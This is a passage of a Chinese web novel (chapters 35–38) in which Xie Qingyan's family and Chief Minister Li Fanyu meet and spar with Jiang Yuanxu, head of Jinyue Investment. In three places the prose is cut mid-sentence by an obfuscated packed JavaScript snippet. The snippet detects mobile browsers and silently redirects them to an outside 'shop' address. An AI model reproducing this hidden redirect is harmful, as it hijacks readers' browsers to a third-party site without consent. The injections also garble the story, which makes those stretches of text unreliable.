谢青衍刚扬起的笑容僵在嘴角,完了,忘了这一茬了! 他明明准备好数套说辞,跟姜元序解释这道门的事,结果今日太开心,竟一句没提! 他迅速组织语言,试图挽救,姜元序没给他开口的机会,冷冷地哼一声,扭头就走。 谢青衍呆愣在原地,以为自己又搞砸了。 十安十分了解姜元序的性子,低头笑了一声,简单和谢青衍说:“没生气,就是吓吓你,出口气。” 谢青衍犹不敢信:“真没生气?” “真生气的话,我们已经搬走了。” 十安引着他们往侧门走,待他们进谢府后又差人把门关上。 谢青衍听到身后的关门声,突然停下脚步,紧了紧抱着的剑盒,抬头望高悬的明月。 “云齐云慎,我好像又一个人演了一场苦情戏。” 好在姜元序来了,又一次把他从戏里拉回现实。 比戏里好一千一万倍的现实。 35. 谁利用谁 谢维和王令仪用过晚膳,不约而同到谢青衍的院子等着,云慎回来说姜姑娘一句话把公子哄好了,他们好奇地抓心挠肺的。 王令仪看到进门的三人一人拿着一个盒子,颇感意外:“去吃个饭,怎么拿回这么些东西?” 谢青衍心中的沉郁散去,眼睛也清明起来,祖父和母亲脸上的担忧如此明显,他前些时日竟未发觉。 他以为自己装的挺好,但姜元序能一眼看出他的异样,朝夕相处的亲人又怎会不知。 云齐云慎把盒子搁桌上,谢青衍打开剑盒,饶是见惯了好东西的谢维和王令仪也有一刻的失神。 谢青衍一一解释这三件礼物的缘由。 盒子里堆叠着五花八门的小玩意儿,王令仪取出一件把玩,赞叹:“这孩子,太有心了。” 谢维思索片刻,对谢青衍说:“你明日把隔壁的房契送去,无论你们将来如何,这宅子都给她。” 谢青衍也是这么想的,他收了价值连城的宝剑,总要回一份像样的礼。 王令仪拉过他的袖子,到一旁坐下,眉目戏谑,“来,和娘说说,姜姑娘是如何哄你的?” 热气涌上脸,谢青衍不自在地避开她的视线,又撞上同样戏谑的谢维,他垂下头,咬了咬唇,还是绷不住轻笑出声。 可不是在哄他吗?分明一开始就看出他的憔悴,偏偏要夸他好看,他还傻乎乎地信了。 看他这副表情,王令仪和谢维更期待了,谢青衍嗡声道:“她说我好看。” 谢维忍不住嗤笑道:“出息!” 这么一句就把他哄得找不着北了。 “然后呢然后呢?”王令仪赶紧催他讲后续,跟催说书似的。 谢青衍胡思乱想月余,一朝破除迷惘,也有了倾诉的欲望,姜元序太好了,他迫切地想让两位至亲之人知晓。 谢维听着,不免心生感慨,这样玲珑剔透的孩子,怪不得人见人爱。 谢青衍连日的焦躁他看在眼里,却也无可奈何,解铃还须系铃人,让他钻进死胡同的,不是一连串的事,而是那个未到京城的人。 好在姜元序冰雪聪明,一眼看出症结,面对爱慕她的谢青衍,没有沾沾自喜,没有置之不理,而是巧妙地化解他的心结。 王令仪听完,对自家儿子很不满:“你怎么愣头愣脑的,不知道献殷勤不说,还要姜姑娘迁就你,不知道的还以为是姜姑娘爱慕你。” 谢维也搭腔:“冲你今日这表现,一厢情愿也是该的。” 王令仪:“如今人到京城了,你休假时要多约人家出去走走,哪里好吃好玩,你不知道就来问娘,娘给你出主意。平日也要送些小礼物,不在于贵重,要着重体现你的心意。” 谢维:“送礼时别忘了附上一张花笺,心中的情意要委婉地传递给人家,你诗赋不大好,只管把情意写出来,祖父帮你润色。” 两人不停地传授追姑娘的技巧,谢青衍听得一愣一愣的,原来有这么多讲究,那他之前一有空就直接找上门的行为,岂不是很莽撞? 三人密谋许久,王令仪心满意足地离开,谢维看出谢青衍还有话说,不着急走。 谢青衍言简意赅道:“姜元序是今越投资的主事。” 谢维端坐的身形晃了晃,拧起眉头不可置信地问:“四年前,联合投资云州的也是她?” 谢青衍点头,又丢出一个惊雷:“周明坤曾想让她嫁入东宫,太子也是知晓此事的。” 谢维只觉眼前一黑,大声斥道:“这么重要的事,你现在才说!” 谢青衍低头不语,这到底是姜元序的私事,回京前他特意嘱咐过钟叔他们,把姜元序和太子和周家的关系瞒下来。 可今越投资主事的身份太扎眼了,他如今的身份根本护不住姜元序,只能由祖父出面。 谢维深吸一口气,怪不得!怪不得韩其如临大敌! 太子和几位王爷都正当年,江州粮食商会有粮,今越投资有钱,韩其把姜元序当亲女儿,这就是兵权,再加上姜元序十八岁就能创下两份家业的能力和手腕,娶了她,半个屁股已经坐上龙椅了! 目光触及到一脸凝重的谢青衍,谢维两眼一眯,精光乍现,抬手叩了叩桌面,冷声道:“她是把你当挡箭牌了。” 谢青衍苦笑:“她要是真把我当挡箭牌就好了,至少能跟我亲近些,而且不会亲近别人。” 谢维被这没出息的话气得翻白眼,咬牙问:“你就一点不介意她利用你?” “损我利她,才叫她利用我。我去了一趟江州,回来升了侍郎,我借出去一座宅子,收回来一柄宝剑,江州遇刺那日,若不是她,韩大人也不会和我同行,我非死即伤。桩桩件件,分明都是利我的,若这是利用,多少人得上赶着求利用。” 谢青衍言之凿凿。 “我在江州的公堂上对她一见钟情,若是没有去江州,同样会在今越的议事室里对她一见钟情,只要我遇到她,只要我喜欢她,我迟早要和那些觊觎她的人对上。” “那些看到她身后庞大利益的人,不会因为我放弃,反而会因为我贬损她。是我不怀好意,利用她对京城的不熟悉,用冠冕堂皇的理由骗她住到谢府隔壁,损的是她的名声,利的是我近水楼台,分明是我利用她。” 谢维差点被唬住,稍一细想就明白他给的这些理由没一个站得住脚,唯有那段真心剖白是真的,气得拍了下桌子,骂骂咧咧走了。 谢青衍抬手摸了摸鼻子,掩住嘴角得逞的笑。 翌日午间,李凡玉拿着餐食,往谢维面前重重一放,沉声道:“你到底有什么事!” 从早朝开始就时不时给他撇来一个意味不明的眼神,他皱眉看过去时,又饶有深意地撇开眼,断断续续一上午,愣是一句话没说。 谢维长叹一口气,伸手抓住李凡玉的双手。 李凡玉被这突然间的动作一惊,急急向后仰去,使劲挣了挣也没挣开。 “谢维!你发什么癔症!” 谢维牢牢攥住他的手,恳切道:“凡玉啊,又到了需要我们同舟共济的时刻。” 李凡玉嫌弃地瞪了他一眼:“好好说话!” 谢维注视着他的眼睛,简洁道:“姜元序进京了。” 李凡玉皱眉。 谢维:“她是今越投资的主事。” 李凡玉凤眸微睁。 谢维:“她是个女子。” 李凡玉呼吸一窒。 谢维:“周明坤曾让她嫁入东宫,太子亦知晓。” 李凡玉面部抽动。 谢维:“国师和我的学生戚见山,曾在回京途中见过她一面,不到半个时辰,皆对其赞誉有加。” 李凡玉狠狠闭眼,思考良久,略带侥幸地问:“容貌倾城?” 谢维目露怜悯:“脸上有疤,平日戴着面具。” 李凡玉脱力似的弯了脊背。 谢维放开他的手,又重重叹了一口气。 李凡玉眼皮一颤,眯眼睨着作苦大仇深状的谢维,突然放松神情,哼笑出声。 姜元序若是想和上头的人扯上关系,不必现在才进京,她既然敢进京,必是做了万全的准备。 李凡玉拿过餐食,好似刚才什么都没发生似的,咬一口胡饼,开始说风凉话:“我来猜猜,你家大孙子迷了心窍,你上我这儿来搬救兵了。” 谢维嘴角颤了颤,心里把李凡玉骂了个狗血淋头,面上还是一派愁苦。 “她要是冲青衍来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211532|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我也乐得成全,这样的女子,谁家娶了都得上高香,可她明显对青衍没那个意思啊!我家儿媳已经给她下了帖子,明日便要登门,我想来想去都觉得不对,她怕是冲我来的。” 李凡玉一口干饼子噎在喉咙,呛咳几声,软了语气真诚地发问:“你去哪儿糊的脸皮?” 谢维一脸哀怨,李凡玉嘴角抽了抽,眼疼地撇开头,为了他家宝贝大孙子,真把老脸都舍了。 李凡玉懒得再绕圈子,“我明日去你府上。” 谢维拧着眉,不放心道:“会不会太高调了?” 李凡玉哼一声:“她这身份,低调得起来吗。” 谢维状似不情愿地嗯了一声,心里乐开了花,只要李凡玉明天去了,对外怎么传还不是他说了算。 有这座大山在前面挡着,宫里头也不敢轻举妄动,青衍努力些,一年半载的,两人婚事一定,万事大吉。 李凡玉慢吞吞地嚼着饼子,心里没有被算计的苦闷,全是对机会送上门的满意。 今越最近的动静他听说了,约见主事的门槛实在太高,他拿不出一百万的存银,姜元序又是女子,贸然邀约更不合适,去谢家见反倒省事。 姜元序是神是鬼,他亲自见见方能判断。 谢青衍收到谢维的准信,下值后把马车停在谢府,自己兴冲冲往隔壁去,却被门房拦下。 “夫人交待,让公子回来先去她院里一趟。” 谢青衍刚进门,王令仪递给他两个大食盒,“我打听过了,姜姑娘还在今越银行的楼上办公,你去给她送晚饭。” “里头的素菜都是用的你那块地里的,一定记得跟她说,这是你亲手种的,知道吗?” 说完也不管谢青衍是何反应,急哄哄把人推出门,马上到饭点,迟了人家该吃好饭了。 姜元序听了果然很惊喜,每样都吃了好些,不断夸赞谢青衍种菜手艺好。 谢青衍被夸的心花怒放,浑身充满干劲,恨不得马上回去把花园掘了种上菜。 两人吃的差不多,谢青衍说起正事:“祖父邀了李首辅,明日你正好一道见见,你今越主事的身份通过谢府散出去,又有李首辅镇着,宫里头的人也不敢轻举妄动。” 姜元序手一僵,刚夹起的丸子掉回盘子,她抬头不可思议地问:“李首辅这么乐于助人的吗?见都没见过呢,直接来给我当靠山?” 谢青衍伸手把丸子夹到她碗里,“韩老将军的信也写给李首辅了,他们二人得了信要照看你,如今京里许多人都在寻今越主事的门路,与其等麻烦找上门,不如防患于未然。” 姜元序用筷子一下一下戳着碗里的丸子,觉得不太对,她要是遇事求上门,有韩叔的关系,人家肯定会酌情帮忙,但上赶着给人当靠山,就有些崩人设了,据她所知,李首辅不是好管闲事的人。 她缓缓抬起眼,眉峰微压,若有所思地盯着谢青衍,谢青衍闲适的动作慢慢变得僵硬。 姜元序嘴角勾起,笑问:“你和你祖父说了什么?” 谢青衍紧张地把嘴里的东西咽下去,清了清嗓子,老实说:“我把周明坤想让你嫁入东宫的事说了,一个江州粮食商会太子就动心了,再加上今越投资,太子恐怕不会善罢甘休。我祖父阻止不了宫里的旨意,但李首辅却是可以的。” “你祖父是真疼你。”姜元序感慨。 谢青衍捧着碗,笑的傻气,祖父一直视李首辅为死对头,做梦都想有朝一日能把李首辅踩脚下,这回要不是因为他,也不会舍下脸去邀人家。 姜元序的疑问并未消散,这件事处处透着诡异,具体怎么回事,或许得见到李首辅方能察觉。 她漫不经心地和谢青衍说:“你和我说说李首辅的事。” 36. 家有贤妻 姜元序前脚刚走下台阶,后脚谢青衍已率众驻足在十步之外,拱手道:“姜姑娘,有失远迎。” “谢大人客气了。” 姜元序疾行几步,欠身行礼,端的一副沉稳大方样,实则心里骂了几个来回,谁家好人站别人家大门口迎客的! 谢青衍全然不觉,待客的架势很足,侧身让行,“祖父已经在等着了,姜姑娘请。” 身后众人齐齐让开一条道,姜元序看他们年纪都不大,朝他们颔首示意,上前和谢青衍并行。 余下的谢家公子们面面相觑,这贵客,怎么和他们想的不一样? 姜元序目不斜视,嘴角微微扬起,挂着和煦的笑,带着寒意的声音从牙缝中挤出:“还有失远迎,你怎么不直接到我房门口等着呢?” 谢青衍偏过头,面露期待:“可以吗?那下回我去你房门口等着,今日是我考虑不周。” 姜元序难得有种被噎住的感觉,凌厉的目光缓缓扫过去。 接收到姜元序警告的眼神,谢青衍不怕不说,反而莞尔一笑:“你是贵客,我前来迎接是应该的。” 虽说是母亲给姜元序下的帖子,但今日谢府待客却不是内宅私宴,姜元序以今越主事的身份上门拜访,谢府自然要把她当作别家家主,而非寻常女眷。 姜元序年纪小,长辈来迎不合适,由他出面正好,原本是在谢府门口等的,但带姜元序回家这事儿,他真的有些迫不及待,不知不觉就走到了隔壁门口。 缓步迈过谢府的门槛,姜元序瞥见窃笑的谢青衍,略有些头疼,“你笑得收敛些,我是上门拜访,不是上门提亲。” 谢青衍原本就雀跃的心情,听到“提亲”二字,忽的像烟火般绽放,朗声失笑。 谢府的侍从听见这笑声,忍不住悄悄抬眼,脸上是难以掩饰的惊讶,后头谢流光他们,更是像大白天见鬼似的,眼睛一眨不眨地瞪着自家大哥。 穿过仪门,已经隐约能看到正厅的人影,姜元序苦口婆心地劝道:“你是清冷贵公子,不是村口二傻子,这么多人看着呢。” 谢青衍渐渐落下去的笑声再次扬起,他自知失礼,但实在无法克制,姜元序总能出其不意把他逗笑。 进入正厅,径直走到堂前,姜元序随谢青衍一道拱手作揖。 “晚辈姜元序,见过谢阁学大人。” 谢维的心情有些微妙,抬手虚扶,温声道:“家里不用这样见外,你随青衍一道,喊我祖父即可。” 瞧青衍脸上藏不住的欣喜,不知道的还以为是新人来敬茶。 一直听人说姜元序脸上有疤,他还真以为貌若无盐,如今见了真人方知大错特错,那精致的眉眼,配上一身不凡的气度,谁会说她不好看? 姜元序改口道:“谢祖父。” 谢青衍嘴角微不可查地勾起一个弧度,一抬眼,正好碰上谢维揶揄的眼神,有些羞赧地垂下眼,转过身和姜元序介绍一旁的谢玉韬和王令仪。 “这是我父亲母亲,你唤伯父伯母便好。” 姜元序抬手行礼,坦然喊人:“谢伯父,谢伯母。” 王令仪开心地起身拉住姜元序的手,“哎,常听人提起你,可算见着真人了,以后可要多多来往。” 她一见姜元序就心生欢喜,身姿挺拔,神采飞扬,脸上戴着银色的面具,简直和话本里的主人公一样。 姜元序轻声应好,心中直呼仙女姐姐!也没人跟她说王夫人这么好看啊,和王家其他人完全不是一个画风。 谢玉韬一头雾水,没人和他说今日要招待的是谁,瞧见眼前的一幕,也只是简单颔首示意,只以为是王家那边的亲戚。 寒暄过后,谢维开口向众人介绍:“这是今越投资的主事,姜姑娘。” 堂下站着的谢家公子们一怔,继而满目惊疑,直直地盯着姜元序,谢青衍眉头一皱,冰冷的视线凝向下方,众人瞬间回神,拱手行礼:“姜姑娘。” 姜元序微笑颔首,谢青衍引她入座,自己坐在她的下首,其余人纷纷落座,视线依旧落在姜元序身上,满腹的疑问等待解答。 谢维不准备解释,笑着和姜元序闲谈:“小姜啊,听说你来京城前,去了不少地方,我年轻时也喜欢往外跑,如今年纪大了,受不起颠簸,可惜了,还有那么多地方没去过。” “我北上时走的水路,比陆地行车舒适很多,有时一觉醒来就靠岸了,也没什么规划,就是到处玩。” 姜元序十分擅长应付这个年纪的长辈,缓缓说起旅途中的趣事。 听到姜元序说他们靠岸用抽签,吃饭掷骰子,遇事不决靠猜拳,谢维忍不住哈哈大笑。 “还是你们年轻人主意多,这样随心所欲,可比按部就班游玩刺激多了,真是令人向往。” 王令仪听的心潮澎湃,她走过最长的路,是从南边的家里嫁到京城,从水路转陆路,走了近一个月。 当时她心中忐忑,既有对前路的期待,又有离家的不舍,一路上格外难熬,以至于往后二十多年都对赶路心有戚戚。 如今听姜元序妙趣横生的讲述,方知自己错过了多少好风景。 谢玉韬是个爱玩的,年轻时也曾和友人一道乘船下江南,姜元序说的好几处地方他都去过,忆起意气风发的往事,对今越主事的那点好奇被抛之脑后,兴致勃勃地和姜元序聊起见闻。 “你和我说要去巡视几处生意,怎么听着光玩儿了?”谢青衍问。 姜元序和他说的多是往西北一路的事,前半段是没说过的,他还当之前是在忙生意上的事。 “我也没说是巡视我的生意啊。”姜元序理直气壮,“别人家的生意,我可以付钱巡一巡。” “哈哈哈哈……” 谢玉韬朗声大笑,越发觉得这位姜姑娘是个妙人,以后他也不说要去哪里玩乐了,就说去巡视生意。 谢青衍满脸无奈地看着姜元序,合着完全是敷衍他的。 姜元序笑意盈盈,眉头微挑,毫不心虚地和他对视:没错,就是骗你的,你能如何! 一派和乐间,侍从前来通报,谢维整整袖子,起身对众人道:“今日我们还有一位客人。” 他招呼姜元序:“小姜,他是来见你的,你和我一道去迎他一迎。” 姜元序乖顺地走在谢维侧后方,其余人在后边打着眉眼官司,需要谢维亲自去接的,该是什么样的大人物啊? 看清来人,谢家众人俱是一惊,齐齐行礼:“见过首辅大人。” 李凡玉缓步而至,摆手道:“不必多礼,今日是我叨扰府上了。” 眼锋轻轻扫过,他看向谢维身侧,威严自眼底漫出,肃声道:“姜姑娘,久仰。” 四目相接间,姜元序粲然一笑,昂着头,不急不缓道:“能得首辅大人记挂,晚辈荣幸之至。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211533|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沉默片刻,李凡玉眼里的寒芒渐去,淡声道:“姜姑娘与我想的,倒是大差不差。” 一样的少年意气,无所畏惧。 “哦?”姜元序故作惊讶,“首辅大人似乎对我知之甚深,倒是我考虑不周,竟忘了想想首辅大人是何模样。” 李凡玉眼睫一颤,笑说:“姜姑娘贵人事忙,想我一老头子作甚,不如想想满京城的青年才俊。” 姜元序眉眼弯弯,恭维道:“我虽晚生了几十年,可也听过首辅大人‘貌冠京华,学压京师,才倾天下’的美名,百年之内,怕是无人能及。” “百年之内到底出了一个姜姑娘。”李凡玉温言赞叹,“貌冠京华,学压京师,才倾天下,姜姑娘还得加一条,富比四方。” 姜元序谦然受之:“我如今得了首辅大人的夸赞,恐怕要再加一条,气运盖世。” 李凡玉颔首轻叹:“听到此处,我免不得再给你加一条,辩才无双。” “事已至此,我厚颜再给自己加一条,首辅第二。”姜元序紧随其上。 “哈哈哈……”李凡玉放声大笑,“好一个首辅第二!姜姑娘一来,满京城的才俊贵女怕是都不敢出门了。” “他们怕我作甚?”姜元序反驳,“我既不和才俊争贵女,又不和贵女抢才俊,不敢出门的应当是满朝文武,宦海半生竟得不到首辅大人的一句夸赞,真该让他们反思反思,这么多年到底有没有好好为国为民。” 李凡玉眉眼一动,饶有深意道:“满朝文武若如姜姑娘一般,老夫何愁后继无人。” 姜元序笑意深切,意有所指道:“满朝文武若如首辅大人一般,景朝何愁不兴。” 相似的凤眼中,凝聚着同样的凛冽,几息之间,对方的意图尽收眼底。 一片寂静声中,谢玉韬默默擦去额间冷汗,他想不通,刚刚还和他讨论吃喝玩乐的小姑娘,怎么转眼就与首辅大人争论起来,当真是初生牛犊不怕虎。 谢维朝一旁的谢青衍使了个眼色,下巴轻点:她一直这样吗? 谢青衍心情复杂,微微点头:是的,这才是她。 他当初和姜元序争论穷富,连死后的香火都被安排好,面子里子输干净,最后装可怜蒙混过去的。 姜元序和李凡玉眼中同时划过一道了然,暗道原来如此,心照不宣地结束第一回合的试探。 李凡玉瞥一眼面前的谢维,哼道:“你就是这样待客的,让我们站这里吃风?” 谢维头一回见李凡玉落下风,心情大好,语气都带上兴奋:“得咧,首辅大人发话了,咱们赶紧迎他进去。” “人老了,还是要接触接触年轻人,整日一副老态龙钟样,脑子要僵住的。你看你,一碰上小姜,话都多了,倒像年轻了十几岁。” 李凡玉面无表情地走在前头,难得赞同谢维的话,几十年没遇到对手,一时大意竟被人抓住了端倪。 姜元序喜笑颜开地走在后头,抬手欣慰地拍了拍谢青衍的胳膊,难怪都说“家有贤妻,夫无横祸”,这神来一笔,省了她多少事。 谢青衍直觉胳膊酥酥麻麻,痒意划过心尖,嘴角不自觉抿出一个笑,时不时偷偷瞄一眼身旁的姜元序。 走在他们后头的谢玉韬自然看到了这奇怪的一幕,脸色变了变,视线来回在两人之间打量。 一旁的谢流光神色阴郁,死死地盯着谢青衍的背影。 37. 接连打脸 谢维和姜元序续上之前的话茬,闲说各地见闻,厅堂之上坐了一尊大佛,刚才还敢插一两句话的谢玉韬和庶子们彻底静默不言。 李凡玉端起茶盏,茶盖轻轻撇几道,并不着急喝,垂眸缓缓询问。 “姜姑娘去过那么多地方,想来也是去过云州了,就是不知道,当初是苏大人找上的姜姑娘,还是姜姑娘找上的苏大人?” 谢青衍暗暗咋舌,不愧是首辅大人,仅几句闲谈,便抽丝剥茧猜出真相,他面上不动声色,心里却有些担忧。 姜元序低头轻笑一声,捻着袖角直言:“我曾看过苏大人的策疏,对贫困县镇治理的建议相当详实,甚至是可以直接落地施行的,就是不知为何,通政司的大人们会以‘建言空疏’的理由将其驳回。” 谢维不自在地拿起茶盏,李凡玉面不改色地呷一口茶,云州之事传到京城,他们在通政司的留档中看到苏望被驳回的三份策疏,当即处罚了一干人等。 但凡驳回的理由是“越职言事”,也不至于此,可偏偏是“建言空疏”,很明显,苏望这个刚上任的翰林新人,被恶意针对了。 两人的动作自然瞒不过姜元序的眼睛,知道心虚就好,苏望这么温和的脾气,被逼得在她面前爆粗,直呼庸官误国。 姜元序目视前方,如讲故事一般:“我幼时念书,读到岭南时便有疑问,地方志上明确记载,此地四季如春,河湖环绕,稻米一年三熟,物产丰饶,如此有利的天时条件,何至于成为流放之地?” “直到我踏上岭南的土地,仰望无边无际的丛山峻岭,绵延的高山拦截南下的寒流,同样把百姓困守原地,我当时就想,这里需要一条路。” 姜元序刻意停了一瞬,前方两人凝眉深思,静待下文。 “回家路上,我看到江南纵横交错的水陆交通,越发肯定了这个想法。但新的疑问又出现了,我当时十三岁,尚且能轻易看出问题所在,朝中学富五车的大人们,难道看不出?” 她缓缓勾起嘴角,语带讥讽:“苏大人被驳回的策疏给我做了解答,原来不是看不出,而是不愿意去看。” “仅我一人之力,叫不醒一群装睡之人,好在家中略有积蓄,苏大人恰逢其会,我俩一合计,索性撇开装睡之人,去寻了一条新的路。” 李凡玉凝视盏中茶汤,半晌方抬眸,“姜姑娘这一遭,赚了不少吧?” 真是巧言善辩,一通大道理把她和苏望真正的关系遮了过去,李凡玉现在几乎可以肯定,苏望是听姜元序的。 “可不是!”姜元序激动地抚了一下掌,连声音都大了些。 “每日入账的金银之巨,险些让我以为大梦未醒!后来想想,还不如犹在梦中,这利国利民又利己的事,竟空等着我去做?” “那段时日,今越的管事可遭了大罪了,本来就忙,还得一天三趟地应付官差,满地的金银不知道捡,别人口袋里的铜子儿倒是盯得紧。” 李凡玉徐徐咽下茶汤,只觉今日这茶,是越喝越烫,姜元序轻描淡写之事,朝廷却始终不得其法。 他从云州得到启发,结合苏望的策疏,治理贫困县镇,即使有朝廷牵头,响应的商户依旧寥寥无几,与姜元序的一呼百应大相径庭。 朝廷一个子儿没挣回不说,还往里添了不少,唯一值得欣慰的是,这些措施施行下去,确实有利民生。 略显沉重的气氛中,谢青衍垂下视线不敢看上座两位的脸色,手搭上椅子扶手,莫名有些想笑。 那日府衙大火,姜元序便是这副样子,演又演的不尽心,句句带刺,偏偏又全是实话,让人辩无可辩。 那日嘲讽的对象是张大人,今日是首辅大人,唯独旁观的都是他,何尝不是一种幸运呢? 谢维有些脸热,捋一把胡子,余光偷偷瞥李凡玉,注意到他缓慢吞茶的动作,心中一阵快意:你也有今天! 他到底是东道主,不好让场面太僵,笑着转了话题:“岭南的路不好修吧,听说你找到一个能人,才修好这‘许公路’?” “这就要说到另外一桩事了。”姜元序目光灼灼,瞌睡来了递枕头,她还真怕没人提这个事呢! “谢祖父可知,这许公,原是何人?” 谢维手一顿,脸突然隐隐作痛,虽未知晓答案,但已经有了不好的预感。 姜元序也不卖关子,直接道出原委:“他曾是都水清吏司的主事,因账务疏漏贬谪至岭南,我遇到他时,正是在丛山脚下,他手中厚厚的画册,已经为岭南规划出一条路。” 谢维不仅脸疼,脑袋也疼,合着全是他们放出去的,缓缓叹一口气,转头看李凡玉。 李凡玉面色一沉,放下茶盏,皱眉仔细思索一番才道:“岭南升迁名单中,似是没有他。” “他早已辞官,如今在学院教书。”姜元序似笑非笑,语气轻快。 “他说在都水清吏司十几年,琐事一堆,一事无成,反倒贬谪后才有时间潜心做学问。我给的报酬足够他这辈子衣食无忧,余生自然要随心活。” 李凡玉一口气堵在胸口,同一个人,在他们手里不是遭冷落就是遭贬谪,往姜元序手底下转一圈,名利双收。 他闷声道:“你倒是大方。” “是他应得的。”姜元序眉眼柔和下来,唇角轻抿带着郑重。 “我不过给了些钱财,许夫子规划的这条路,盘活了几十万百姓的生计。” 在山地之间修路何其艰难,因为这条因地制宜的路,她才会第一时间选择开发岭南。 谢青衍注视着她,面含浅笑,温声道:“因为你,这条路才得以落实,你的功绩并不比许夫子少。” 谢维暗自点头,这条路规划的是好,但造价也高,即使递到御前,恐怕也不会批,岭南天高皇帝远的,朝廷对它唯一的要求便是不起兵乱。 没人会闲着没事花大价钱修如此长的一条路,也就姜元序眼光独到,山沟沟里被她挖出个金矿。 谢青衍侧过身,借着给姜元序递糕点的动作靠近,用只有两人能听到的声音,低声问:“许夫子是在王珣那个书院吗?” 姜元序眼尾一扬,轻轻点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211534|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢青衍不再多问,聊起岭南的风土人情。 不一会儿,谢维招呼大家去宴客厅开席,直言今日只是家宴,主桌上仅谢玉韬和两位年纪较大的公子作陪。 席间,谢青衍旁若无人地给姜元序布菜斟酒,轻声和她介绍今日的菜式,有李首辅在,多是京城口味,他怕姜元序吃不惯。 姜元序警告似的在桌下踢了他一脚,目露凶光,示意他吃自己的,谢青衍似是不解,愣愣地和她对视,不明白自己做错了什么。 姜元序暗暗呲牙,伸长腿用力踩住他的脚,你最好不是故意的! 谢维被谢青衍的小媳妇作态刺伤,眼疼地移开视线,招呼李凡玉喝酒。 李凡玉将二人的小动作尽收眼底,拈酒杯慢啜一口,轻言慢语道:“谢侍郎私底下的做派,倒是与平日截然不同。” 姜元序不动声色地收回脚,脸上挂上温和的笑:“谢哥哥温恭良善,惯会照顾人,可惜生了一张冷脸,把一副好性子全掩了去。” 空气有一瞬间的凝滞,热意爬上谢青衍的耳尖,在众人的瞠目下,云淡风轻地端起酒杯,轻抿一口。 谢维默不作声地放下酒杯,侍从眼疾手快地递来手帕,重新换上一盏酒,他低头擦拭手边残余的酒液,抿住唇不让笑声溢出。 李凡玉嘴角抽了抽,能把瞎话说得这样理直气壮,何尝不是一种本事。 他放下酒杯,视线在谢青衍身上转了一圈,绕回言笑晏晏的姜元序,挑眉打趣道:“他何时成了你哥哥?” “谁让我年纪小呢,他生来就是我哥哥。”姜元序招呼酒侍,拿过酒壶亲自给他斟一盏酒,“就像您,生来就是我祖父。” 她拿起自己的杯子,双手举起,恭敬道:“李祖父。” 姜元序眼睛弯起,一派天真烂漫,李凡玉睨着眼前的酒杯,嘴角轻扬,哼道:“油嘴滑舌。” 说罢,拿起姜元序斟的酒,仰头一饮而尽,憋了一上午的气尽数散去。 姜元序掩袖饮尽杯中酒,,乘胜追击拿起公筷给他夹菜:“李祖父尝尝这道碧螺春虾仁,原该用龙井的,只是我不爱龙井的清苦,家中多用碧螺春,谢哥哥随我吃了一次便记住了,今日特意换了做法。” “我与李祖父这么投缘,我的口味,您一定喜欢。” 李凡玉细细咀嚼,口中茶香依旧,少了一分涩味,多了两分清甜,与鲜嫩的虾仁相得益彰,确实合他心意。 “是不错。”他看谢青衍都顺眼许多,夸道,“谢侍郎心细。” 姜元序放下筷子,斜睨谢青衍一眼,偏头和李凡玉小声嘀咕。 “方才他与我细说京中菜式,生怕我吃错东西,絮絮叨叨的,我仿佛回到小时候,我爹带我那段时日,差点没忍住叫他一声爹。” 席间安静,姜元序的声音其实并不小,所有人听得一清二楚。 “哈哈哈哈……” 李凡玉忍俊不禁,谢维笑得前俯后仰。 谢青衍用力地抓了抓眉心,支着额头,忍不住气笑,眉眼间尽是羞恼。 38. 给颗栗子 微风拂过水榭,檐角铜铃仓惶躲闪,叮泠泠一声,姜元序翻开牙牌,银质小镊子夹起攒盒里最后一粒葡萄干,码在李凡玉手边的碟子里。 姜元序放下镊子换银箸,最后一颗糖煨栗子入口,九子攒盒空了七格,黄铜胡桃钳一合,淡盐榛子脆然开口,散落的骨牌在侍从手里重新码齐。 上局赢家李凡玉坐庄,率先摸牌,姜元序紧随其后,随意翻开瞥了一眼,“啧——” 斧头三,最小牌。 李凡玉一只手侧支着脑袋,一只手扣着骨牌,手边四个碟子是赢来的彩头,九子攒盒满满当当。 见姜元序又要输,手指轻扣桌面,嗤笑道:“你这臭手,到底怎么赚那么多钱的?” 姜元序哼一声,端起山楂蜜水缓饮两口,悠然道:“手越臭,证明我脑瓜子越聪明,赚钱不靠运气,全是实力。” 谢维一改摸牌时的郑重,没好气地丢出一对梅五,另外三人看清牌面,纷纷笑开。 午膳后,谢维遣散其余人,带李凡玉、姜元序和谢青衍到水榭玩骨牌,姜元序吃饱喝足不想动脑,提议玩小牌九比大小,不需要技巧,纯靠运气,每人一个攒盒,输一次给出去一样。 姜元序好歹赢过,空的攒盒一半是自己吃的,而谢维今日一把没赢,只吃了两颗胡桃,攒盒输光,手边的一格葡萄干是谢青衍给的。 